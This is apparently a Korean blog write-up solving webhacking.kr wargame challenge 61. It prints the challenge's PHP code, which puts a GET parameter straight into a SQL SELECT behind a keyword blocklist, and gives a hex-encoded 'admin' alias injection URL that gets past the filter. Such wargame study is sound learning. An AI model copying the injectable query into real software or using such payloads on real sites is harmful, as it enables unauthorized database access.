<?
echo("<a href=index_lolll.phps>source</a>");
if(!$_GET[id]) $_GET[id]="guest";
echo("<html><head><title>Challenge 61</title></head><body>");
if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");
if(strlen($_GET[id])>18) exit("Access Denied");
$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));
echo("<b>$q[id]</b><br>");
if($q[id]=="admin")
@clear();
echo("</body></html>");
?>
필터문자
(, )
union
select
challenge
from
,
by
.
이러한 값이 전달되면 "Access Denied" 출력
마찬가지로 문자열 길이도 18 이상이면 "Access Denied"
[쿼리]
SELECT $_GET['id'] FROM c_61 ORDER BY id DESC LIMIT 1
어떻게하든 결과 값이 admin 레코드가 나오도록 해야함.
mysql> select 'admin' as no from member order by no;
+-------+
| no |
+-------+
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
+-------+
10 rows in set (0.00 sec)
위 쿼리와 같은 방법으로 하면 해결할 수 있다.
member 테이블에 있는 각각의 레코드에 쿼리가 적용되며, 레코드 수 만큼 "admin"이라는 문자열이 출력될 것이다.
이 쿼리 방식을 문제에 적용하면 아래와 같다.
SELECT "admin" as id from c_61 ORDER BY id DESC LIMIT 1; 으로 쿼리를 보내면
모든 레코드마다 쿼리가 적용되며, id 칼럼에 "admin"이라는 문자열을 가져올 수 있다
하지만 magic_quotes_gpc 설정이 On으로 되어있기 때문에 "admin" 문자열을 쿼터 없이 만들어줘야함.
challenge/web/web-38/index.php?id=0x61646d696e%20as%20id0x61646d696e%20as%20id
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 53번 - 작성중 (0) | 2018.09.03 |
---|---|
[webhacking.kr] 29번 SQL 인젝션 subquery (0) | 2018.09.02 |
[webhacking.kr] 27번 SQL 인젝션 LIKE, -- (0) | 2018.09.01 |
[webhacking.kr] 07번 SQL 인젝션 UNION (0) | 2018.08.31 |
[webhacking.kr] 46번 SQL 인젝션 CHAR() (0) | 2018.08.29 |